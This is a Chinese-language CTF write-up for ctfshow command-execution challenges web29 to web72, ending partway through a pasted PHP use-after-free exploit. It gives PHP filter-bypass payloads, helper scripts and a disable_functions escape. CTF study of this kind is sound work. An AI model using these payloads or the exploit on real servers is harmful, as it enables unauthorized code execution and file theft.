ctfshow 命令执行 web29-web77 web118-122 web124 wp

南神博客

文章目录

    • 命令执行
      • web29
      • web30
      • web31
      • web32
      • web33
      • web34
      • web35
      • web36
      • web37
      • web38
      • web39
      • web40
      • web41
      • web42
      • web43
      • web44
      • web45
      • web46
      • web47
      • web48
      • web49
      • web50
      • web51
      • web52
      • web53
      • web54
      • web55
      • web56
      • web57
      • web58
      • web59
      • web60
      • web61
      • web62
      • web63
      • web64
      • web65
      • web66
      • web67
      • web68
      • web69
      • web70
      • web71
      • ***web72
      • web73
      • web74
      • ***web75
      • web76
      • web77
      • web118
      • web119
      • web120
      • web121
      • web122
      • web124
    • 知识点总结

命令执行

web29

preg_match :匹配正则表达式
模式分隔符后的"i"标记这是一个大小写不敏感的搜索
模式中的\b标记一个单词边界,所以只有独立的单词会被匹配,如:
    if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice."))True
    
    if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice."))False
        
小技巧:如果仅仅想要检查某个字符串是否包含另外一个字符串,不要使用 preg_match() , 使用 strpos() 会更快。 

题目:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

即 $c 不能匹配到大小写的flag

payload: ?c=system('tac f*');
linux知识:通配符
*	匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
?	匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd]	匹配abcd中任何一个字符
[a-z]	表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制

web30

题目

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这次过滤了system,但是还有其他方法能够执行系统命令

如:

system : 执行外部程序,并且显示输出,如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。
exec : 执行一个外部程序,回显最后一行,需要用echo输出。
shell_exec : 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen : 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
proc_open : 执行一个命令,并且打开用来输入/输出的文件指针。
passthru : 执行外部程序并且显示原始输出。同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec()system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
pcntl_exec() : 在当前进程空间执行指定程序,当发生错误时返回 false ,没有错误时没有返回。 
`(反引号):同 shell_exec() 

所以构造payload

payload: ?c=passthru('tac f*');

web31

题目

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这一次对于之前的payload是过滤了空格,但是有多种办法可以绕过,讲解如下:

${IFS} 但不能写作 $IFS
$IFS$9
%09
<>
<
$IFS%09

因此得到payload:

?c=passthru("tac%09f*");
这里这五个,只有%09可以用。因为这里是命令执行不是代码执行。如${IFS}是在shell里用,而这里是在绕过php的正则。

另外同cat功能的函数还有:
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev

web32

题目

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

上一关的还能用

因为过滤了分号,所以之前的都失效了,这里可以使用php短标签来闭合执行命令。这里可以用?c=include$_GET[a]?>

然后因为include不能直接包含出flag,所以使用php伪协议来读取flag的base64内容

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33

题目

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

继续

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

没影响,继续

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web35

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

还是对原payload没有影响,继续

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web36

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

还是没影响,只是过滤数字

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

想比于之前,这一次给的就不是eval直接来执行命令,而是使用的include来进行命令执行。

因为不能带有flag,所以php伪协议来读是不行的(因为必须打完整的flag.php)

伪协议:

总:
file:// 协议
php:// 协议
zip:// bzip2:// zlib:// 协议
data:// 协议
http:// 协议 https://协议
phar:// 协议

分:
file:// 协议:
		条件 allow_url_fopen:off/on  allow_url_include :off/on
		作用:用于访问本地文件系统。在include()/require()等参数可控的情况下,如果导入非php文件也会被解析为php
		用法:1.file://[文件的绝对路径和文件名]
	 		2.[文件的相对路径和文件名]
	 		3.[http://网络路径和文件名]

php:// 协议:条件 allow_url_include :仅php://input php://stdin php://memory php://temp 需要on allow_url_fopen:off/on
		作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码
		php://filter参数详解:resource=(必选,指定了你要筛选过滤的数据流)     read=(可选)    write=(可选)
		对read和write,可选过滤器有string.rot13、string.toupper、string.tolower、string.strip_tags、convert.base64-encode & convert.base64-decode
         用法举例:php://filter/read=convert.base64-encode/resource=flag.php

zip:// bzip2:// zlib:// 协议:
        条件:allow_url_fopen:off/on      allow_url_include :off/on
        作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
        用法:zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
        	 compress.bzip2://file.bz2
        	 compress.zlib://file.gz
        其中phar://和zip://类似

data:// 协议:
        条件:allow_url_fopen:on    allow_url_include :on
        作用:可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
        用法:data://text/plain,            data://text/plain;base64,
        举例:data://text/plain,
        	 data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
          
        由此可见,web37这道题可以用data://伪协议来执行代码

组合得到payload

c=data://text/plain,

web38

题目

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这里把php给过滤了,所以我们换个php的短标签,可以把php换成等号

所以payload

?c=data://text/plain,

web39

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

这里是把$c."php"拼接了起来,但是还是可以用命令执行,因为在短标签里面进行了一个 已经闭合了所以不会受到php的影响

还是用上一道题的payload

?c=data://text/plain,

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

过滤的挺多的,但基本都是数字和特殊符号,可以注意的是他过滤的是中文的括号,没有过滤英文的()

常见的绕过姿势

getallheaders():返回所有的HTTP头信息,返回的是数组而eval要求为字符串,所以要用implode()函数将数组转换为字符串

get_defined_vars():该函数的作用是获取所有的已定义变量,返回值也是数组,不过是二维数组,用var_dump()输出可以看见输出的内容,看见在第几位之后,可以用current()函数来获取其值,详细可以看官方函数。payload:var_dump(current(get_defined_vars()));

session_id()session_id()可以用来获取/设置当前会话 ID,可以用这个函数来获取cookie中的phpsessionid,并且这个值我们是可控的。
    如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后用hex2bin()函数,即传入?exp=eval(hex2bin(session_id(session_start())));     并设置cookie:PHPSESSID=706870696e666f28293b
    session_start 函数是为了开启session
    
配合使用的函数:
	print_r(scandir(.)); 查看当前目录下的所有文件名
    var_dump()
	localeconv() 函数返回一包含本地数字及货币格式信息的数组。
	current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
	each() 返回数组中当前的键/值对并将数组指针向前移动一步
	end() 将数组的内部指针指向最后一个单元
	next() 将数组中的内部指针向前移动一位
	prev() 将数组中的内部指针倒回一位
	array_reverse() 以相反的元素顺序返回数组

首先构造payload输出当前文件下的文件名,因为过滤了特殊符号所以上面print_r(scandir(‘.’));不能直接用

要配合localeconv()和current()来使用

?c=print_r(scandir(current(localeconv())));

在这里插入图片描述

flag.php在倒数第二位,然后用show_source输出

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

web41

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

这道题过滤了数字和字母(因为后面/i对大小写不敏感),并且不能用异或、取反、自增等操作(过滤$、+、-、^、~),但是可以用|(或)

他这里过滤的数字指的是ascii类型的,所以如%09(tab)这种是没有过滤的,于是可以用此来构造出想用的字母和数字,这里给出网上有的一个脚本

import re
import requests

url="http://64dc8155-8f3b-4e75-a8e5-dbe633352099.challenge.ctf.show/"

a=[]
ans1=""
ans2=""
for i in range(0,256):
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    if(tmp):
        continue
        #print(tmp.group(0))
    else:
        a.append(i)

mya="system"  #函数名 这里修改!
myb="ls"      #参数
def myfun(k,my):
    global ans1
    global ans2
    for i in range (0,len(a)):
        for j in range(i,len(a)):
            if(a[i]|a[j]==ord(my[k])):
                ans1+=chr(a[i])
                ans2+=chr(a[j])
                return;
for k in range(0,len(mya)):
    myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"

data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

这里是$c参数后面接了个>/dev/null 2>&1,百度一下

0   标准输入
1   标准输出
2   错误输出
在类Unix系统中,/dev/null,或称空设备,是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功)
区别:
2>/dev/null   把错误输出到空设备(即丢弃)
>/dev/null 2>&1   相当于1>/dev/null 2>&1   即把标准输出丢弃,并且把错误输出输出到标准输出。合计起来就是错误和标准输出都输出到空设备
2>&1 >/dev/null   错误输出到标准输出,即输出到屏幕上,而标准输出被丢弃

重定向>>>   前者会先清空文件,然后再写入内容,后者会将重定向的内容追加到现有文件的尾部.

输入的内容会被丢弃,该怎么办呢?答案是可以用;或||等进行分割,如?c=ls&&pwd. 执行的时候会将ls给执行而丢弃pwd命令

?c=tac flag.php||ls

web43


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

只是过滤了分号和cat而已,继续用上面的

?c=tac flag.php||ls

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在上面基础上过滤flag而已,用通配符就可以了

?c=tac f*||ls

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在上面基础上过滤空格而已,用%09即可

?c=tac%09f*||ls

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在上面的基础上过滤了数字 $ *

换一下通配符即可

?c=tac%09fla?.???||ls

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

在上面基础上过滤了more less head sort tail,还是没有过滤tac 继续用

?c=tac%09fla?.???||ls

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

还是没有过滤tac

?c=tac%09fla?.???||ls

web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了个百分号而已,还是没影响

?c=tac%09fla?.???||ls

web50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

哦豁,过滤了\x09和\x26

于是想到用<>,但是发现<>和?组合的时候没有输出,于是将上面payload改一下就可以了

?c=tac<>fl\ag.php||ls

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这次居然过滤了tac,但是在web31的时候讲过,另外同cat功能的函数还有:
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev

?c=nl<>fl\ag.php||ls
flag在源代码

web52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这次过滤了<>,小问题用${IFS}

?c=nl${IFS}fl\ag.php||ls
然后看源代码

但是发现flag改了地方

ctfshow 命令执行 web29-web77 web118-122 web124 wp_第1张图片

于是?c=ls${IFS}/||ls发现flag在根目录,所以最终payload为

?c=nl${IFS}/fl\ag||ls

web53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){
        echo($c);
        $d = system($c);
        echo "
"
.$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }


是换行符

当我输入?c=ls时,返回的是

lsflag.php index.php readflag
readflag

然后我还是用的上上一个payload

?c=nl${IFS}fl\ag.php||ls

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

¿¿¿¿什么牛马

但是他没有想到吧还能用rev函数

?c=rev${IFS}fla?.php
得到的再reverse一下就是flag

web55

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

把字母过滤了而已,可以用通配符来把flag搞出来

bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls

所以payload

?c=/???/????64 ????.???
然后解码即可

web56

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\, $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这里甚至吧数字都给过滤掉了,还有部分的特殊字符

这里看南神博客,南神原话

“这次在上一题的基础上多过滤掉了数字,导致我们无法使用上题的payload。不过之前看过p师傅的一篇无字母数字webshell的文章,这里我们可以利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用?进行匹配,即???/???,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?”

发现可以用[]来正则匹配,如???/???[A-Z]就能匹配B-Y,于是为了匹配A-Z就可以从@匹配到[

然后这里有个技巧是使用 . 来执行文件,如创建了一个 a.txt,然后里面写ls

shell里执行 . a.txt,就会执行出ls的结果。

于是构造如下

import requests
while True:
    url = 'http://617464c5-1e4b-4cd8-9ef1-adbb89037d3c.challenge.ctf.show/?c=. /???/????????[@-[]'
    flag = requests.post(url=url,files={"file":("flag.txt","cat flag.php")})
    if("ctf" in flag.text):
        print(flag.text)
        break

即可得到flag

ctfshow 命令执行 web29-web77 web118-122 web124 wp_第2张图片

还可以看无字母数字的命令执行

web57

//flag in 36.php 
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

可以看的出来题目要求是让我们构造出c = 36,但是这里数字字母都过滤了,也只能用特殊符号来操作了

看了南神的博客,说可以用$和()来构造数字,来尝试一下

ctfshow 命令执行 web29-web77 web118-122 web124 wp_第3张图片

可以看到

echo $(()) = 0
对其取反
echo $((~$(()))) = -1
取反加起来
echo $(($((~$(())))$((~$(()))))) = -2
对上面的取反
echo $((~$(($((~$(())))$((~$(()))))))) = 1

百度之后,发现$(())是用来作整数运算
如a=5 b=7 c=2
echo $((a+b*c)) = 19
$(())能进行的运算有
+ - * / 加、减、乘、除

% 余数运算

& | ^ ! AND、OR、XOR、NOT运算

好,如果要构造36,只需要构造出-37然后对其进行取反即可,中间就是套娃-1过程,最后再取反即可,非常好做

print("$((~$(("+"$((~$(())))"*37+"))))")
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

然后查看源代码即可

web58

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这里开始就是post了,后面的所有题基本都能用蚁剑直接连接,但是这里不是想这样考就不这样了

这题给的是eval,之前是system可以执行命令,而eval是文本转php代码

eval和system对应的应该是 代码执行和命令执行,不能搞混了

这里直接copy一下南神积累的读取文件的函数

highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

这里直接show_source即可

POST: c=show_source("flag.php");

web59

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这里是后台加了黑名单,咱们不用上面的了,换点其他的

POST: c=print_r(file("flag.php"));

在这里插入图片描述

web60

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

再换一个

POST: c=highlight_file("flag.php");

web61

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

再换一个 这波怎么我换一个被禁一个

不换了妈的

POST: c=highlight_file("flag.php");

web62

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
c=highlight_file("flag.php");

web63

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

玛德继续用这个payload

c=highlight_file("flag.php");

web64

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

居然还能用

c=highlight_file("flag.php");

web65

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

为什么还能用啊草

c=highlight_file("flag.php");

web66

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

我还是c=highlight_file(“flag.php”);

然后说 秀秀得了,这次不在这里,于是用print_r(scandir查看一下在哪)

c=print_r(scandir("./"));
#flag.php   index.php
flag.php就刚刚假的 于是去看根目录
c=print_r(scandir("/"));
# ……………… flag.txt ………………

payload

c=highlight_file('/flag.txt');

web67

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
c=highlight_file('/flag.txt');

web68

打开就直接说

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

麻麻的,但不难猜出

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

然后这里还把print_r给禁了,用var_dump()吧

c=var_dump(scandir("/"));

还是在跟目录 flag.txt

既然highlight不让用,那就换别的

c=require("/flag.txt");

web69

highlight_file()还是没了var_dump居然也没了

虽然payload还是

c=require("/flag.txt");

于是去找一下可以读取目录的方式,我百度了114514/19198秒,没找到,于是就cv南神的了

print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

这里是过滤了print_r所以用后面的

c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";}

web70

打开之后

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?
c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";}

c=require("/flag.txt");

web71

这次题目给了index.php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

去搜了一下ob_get_contents()和 ob_end_clean(),前者是获得缓冲区的内容,后者是清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。如此顺序组合就完成了输出$c执行的命令结果到s里并且清除这个原来的执行结果

用上一道的payload打一下试试

输出的是

???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????{????????-????-????-????-????????????} 你要上天吗?

也就是[a-zA-Z0-9]部分 被完全输出成问号了

看了眼南神的,可以在后面加一个exit();退出,这样就执行不到后面的命令了

c=require("/flag.txt");exit();

***web72

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

没啥区别啊和上一道

我直接执行,很快啊

在这里插入图片描述

诶,根本没有,于是用之前的payload看一看根目录下,然后后面加一个exit()就行

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();

试过了 其他7种都不行 就这个才可以。

在这里插入图片描述

我想c=require("/flag0.txt");exit();,但是直接报错了。

唉看看南神博客吧

ctfshow 命令执行 web29-web77 web118-122 web124 wp_第4张图片

又不让打开,又禁函数,爬
这里是用uaf脚本来命令执行,群主发过。需要url编码

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

